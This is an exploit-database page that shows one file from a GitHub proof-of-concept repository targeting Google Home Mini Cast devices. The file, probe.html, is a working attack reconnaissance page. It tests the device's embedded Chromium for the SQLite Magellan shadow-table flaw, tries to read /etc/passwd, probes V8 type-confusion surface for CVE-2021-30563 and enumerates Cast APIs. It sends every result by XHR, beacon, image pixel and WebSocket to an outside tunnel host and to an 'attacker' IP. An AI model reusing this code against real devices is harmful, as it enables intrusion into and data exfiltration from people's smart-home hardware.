Exploit database

GH-8ffaaa2c33364b540d85c0f3eb40f8a0

remipelloux/hackooglemini

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-30563

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files18

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

googlehomemini/reconstruction/exploit/magellan/probe.html

HTML · 8,398 bytes
<!DOCTYPE html>
<!--
  Magellan probe page — step 1: confirm WebSQL is available and get SQLite version.

  Load this via cast_launch.py to check whether the device's embedded Chromium
  has WebSQL enabled and what SQLite version it uses. Results appear in the Cast
  receiver status text (visible via the Cast sender) and are also sent to the
  exfil endpoint below.

  CVE-2018-20346/20505/20506 (Magellan) affect SQLite < 3.26.0 via the FTS5
  shadow table mechanism. This page confirms which version is running.

  Exfil endpoint: http://PI_IP:8081/log — run `python3 exfil_server.py` on Pi.
-->
<html><head><meta charset="utf-8"><title>Cast Receiver</title>
<script src="//www.gstatic.com/cast/sdk/libs/caf_receiver/v3/cast_receiver_framework.js"></script>
</head><body style="background:#000;color:#fff;font-family:monospace;padding:20px">
<div id="out">Loading...</div>
<script>
// Callbacks go to Cloudflare tunnel (HTTPS, valid cert, no mixed-content block)
// Keep local fallback for when tunnel is unavailable
const TUNNEL = "https://1e1be4930fa83f11-82-122-71-109.serveousercontent.com";
const PI = "192.168.1.24";
const LOG = TUNNEL + "/log";

function send(data) {
  var body = JSON.stringify(data);
  // Primary: XHR (most reliable in Cast Chromium)
  try {
    var x = new XMLHttpRequest();
    x.open("POST", LOG, true);
    x.setRequestHeader("Content-Type", "text/plain");
    x.send(body);
  } catch(e) {}
  // Fallback: sendBeacon
  try { navigator.sendBeacon(LOG, body); } catch(e) {}
  // Fallback: img pixel with data in query string (survives CSP)
  try {
    var img = new Image();
    img.src = LOG + "?d=" + encodeURIComponent(body.substring(0, 500));
  } catch(e) {}
}

function show(msg) {
  document.getElementById("out").textContent = msg;
  send({msg: msg});
}

// 1. Check WebSQL
if (!window.openDatabase) {
  show("WebSQL not available — Chromium too new or feature disabled");
} else {
  show("WebSQL available — probing SQLite...");
  var db = openDatabase("probe", "1.0", "probe", 1024*1024);
  db.transaction(function(tx) {
    // Get SQLite version
    tx.executeSql("SELECT sqlite_version()", [], function(tx, rs) {
      var ver = rs.rows.item(0)["sqlite_version()"];
      var msg = "SQLite: " + ver;

      // Try creating FTS5 virtual table (available SQLite >= 3.20)
      tx.executeSql("CREATE VIRTUAL TABLE IF NOT EXISTS fts_probe USING fts5(col)", [],
        function(tx2) {
          msg += " | FTS5: YES";
          // Check if we're below the patched version (3.26.0)
          var parts = ver.split(".").map(Number);
          var patched = (parts[0] > 3) || (parts[0] === 3 && parts[1] >= 26);
          msg += " | Magellan patch: " + (patched ? "YES (>= 3.26.0)" : "NO (< 3.26.0) VULNERABLE");
          show(msg);
        },
        function(tx2, err) {
          msg += " | FTS5: NO (" + err.message + ")";
          show(msg);
        }
      );
    }, function(tx, err) {
      show("sqlite_version() failed: " + err.message);
    });
  }, function(err) {
    show("DB transaction error: " + err.message);
  });
}

// 2. Report UA, platform and Cast SDK API surface
var uaInfo = {
  userAgent: navigator.userAgent,
  platform: navigator.platform,
  vendor: navigator.vendor,
};
show("UA: " + navigator.userAgent);
send({type: "ua", data: uaInfo});

// 3. Enumerate Cast SDK APIs — what privileged surfaces exist?
var castAPIs = {};
var roots = ["chrome", "cast", "google"];
roots.forEach(function(root) {
  if (window[root]) {
    try {
      castAPIs[root] = Object.keys(window[root]);
      if (window[root].cast) castAPIs[root + ".cast"] = Object.keys(window[root].cast);
      if (window[root].framework) castAPIs[root + ".framework"] = Object.keys(window[root].framework);
    } catch(e) { castAPIs[root + "_err"] = e.message; }
  }
});
// Check cast.framework specifically
if (window.cast && window.cast.framework) {
  try {
    var ctx = cast.framework.CastReceiverContext.getInstance();
    castAPIs["CastReceiverContext_methods"] = Object.getOwnPropertyNames(
      Object.getPrototypeOf(ctx));
    castAPIs["getSystemState"] = JSON.stringify(ctx.getSystemState ? ctx.getSystemState() : "N/A");
  } catch(e) { castAPIs["framework_err"] = e.message; }
}
send({type: "cast_apis", data: castAPIs});

// 4. Magellan shadow table modification test (CRITICAL)
// If SQLITE_DBCONFIG_DEFENSIVE=ON (Chrome 71+), UPDATE x_segdir will be BLOCKED → patched
// If UPDATE succeeds → vulnerable to CVE-2018-20346 shadow table attack
var magellanTest = {shadow_mod: "not_tested", fts3_create: "not_tested", sqlite_ver: "?"};
if (window.openDatabase) {
  var mdb = openDatabase("magellan_test","1.0","mt",4*1024*1024);
  mdb.transaction(function(tx) {
    tx.executeSql("SELECT sqlite_version()",[],function(_,rs){
      magellanTest.sqlite_ver = rs.rows.item(0)["sqlite_version()"];
    });
    tx.executeSql("CREATE VIRTUAL TABLE IF NOT EXISTS m_fts USING fts3(a,b,c)",[],
      function(){
        magellanTest.fts3_create = "OK";
        // The KEY test: can we write to FTS3 shadow tables?
        tx.executeSql("UPDATE m_fts_segdir SET root=x'41414243' WHERE rowid=1",[],
          function(){ magellanTest.shadow_mod = "SUCCESS — VULNERABLE to CVE-2018-20346"; },
          function(_,e){ magellanTest.shadow_mod = "BLOCKED: "+e.message+" — SQLITE_DBCONFIG_DEFENSIVE ON (patched)"; }
        );
        // Also test merge trigger (CVE-2018-20346 trigger path)
        tx.executeSql("INSERT INTO m_fts(m_fts) VALUES('merge=1,2')",[],
          function(){ magellanTest.merge_trigger = "OK — merge allowed"; },
          function(_,e){ magellanTest.merge_trigger = "BLOCKED: "+e.message; }
        );
      },
      function(_,e){ magellanTest.fts3_create = "FAIL: "+e.message; }
    );
  }, function(e){ magellanTest.tx_err = e.message; },
  function(){ send({type:"magellan_test", data:magellanTest}); });
}

// 5. Probe filesystem access (should be blocked in sandbox — but try)
var fsProbes = {};
["XMLHttpRequest", "fetch", "WebSocket"].forEach(function(api) {
  fsProbes[api] = typeof window[api] !== "undefined";
});
try {
  var x2 = new XMLHttpRequest();
  x2.open("GET", "file:///etc/passwd", false);
  x2.send();
  fsProbes["file_read"] = x2.responseText.substring(0, 100);
} catch(e) {
  fsProbes["file_read_err"] = e.message;
}
send({type: "fs_probe", data: fsProbes});

// 6. V8 type confusion probe — CVE-2021-30563 surface (Chrome < 92.0.4515.107)
// Tests whether Array.prototype.forEach is vulnerable to type confusion via
// Array species constructor swap. Safe probe only — no crash attempted.
var v8Probe = {chrome_ver: navigator.userAgent.match(/Chrome\/([\d.]+)/)?.[1] || "?", surface_check: "unknown"};
try {
  // Test 1: TypedArray species substitution (affects V8 ElementsKind transitions)
  var res = [];
  var a = [1.1, 2.2, 3.3];
  a.constructor = {[Symbol.species]: function(n){ res.push(n); return new Float64Array(n); }};
  var b = a.map(x => x);
  v8Probe.species_map = b.constructor.name + " len=" + b.length;
  // Test 2: Array.from with iterator that changes array type mid-way
  var c = Array.from({length:3, [Symbol.iterator]: function*(){
    yield 1.1; yield 2.2; yield 3.3;
  }});
  v8Probe.array_from = c.join(",");
  // Test 3: Check if wasm is available (needed for some sandbox escapes)
  v8Probe.wasm = typeof WebAssembly !== "undefined";
  v8Probe.surface_check = "passed_safe_checks";
} catch(e) {
  v8Probe.surface_check = "err:" + e.message;
}
send({type: "v8_probe", data: v8Probe});

// 7. Process/system info via Cast SDK
var sysInfo = {};
try {
  var ctx = cast.framework.CastReceiverContext.getInstance();
  sysInfo.deviceInfo = JSON.stringify(ctx.getDeviceInformation ? ctx.getDeviceInformation() : "N/A");
  sysInfo.capabilities = JSON.stringify(ctx.getDeviceCapabilities ? ctx.getDeviceCapabilities() : "N/A");
  sysInfo.systemState = ctx.getSystemState ? ctx.getSystemState() : "N/A";
} catch(e) { sysInfo.err = e.message; }
send({type: "sys_info", data: sysInfo});

// 8. Try WebSocket to attacker direct (bypass HTTPS requirement)
try {
  var ws = new WebSocket("ws://192.168.1.24:9999/ws");
  ws.onopen = function(){ ws.send(JSON.stringify({type:"ws_open",ua:navigator.userAgent})); };
  ws.onerror = function(e){ send({type:"ws_probe",result:"err:"+e.type}); };
} catch(e) { send({type:"ws_probe",result:"catch:"+e.message}); }
</script>
</body></html>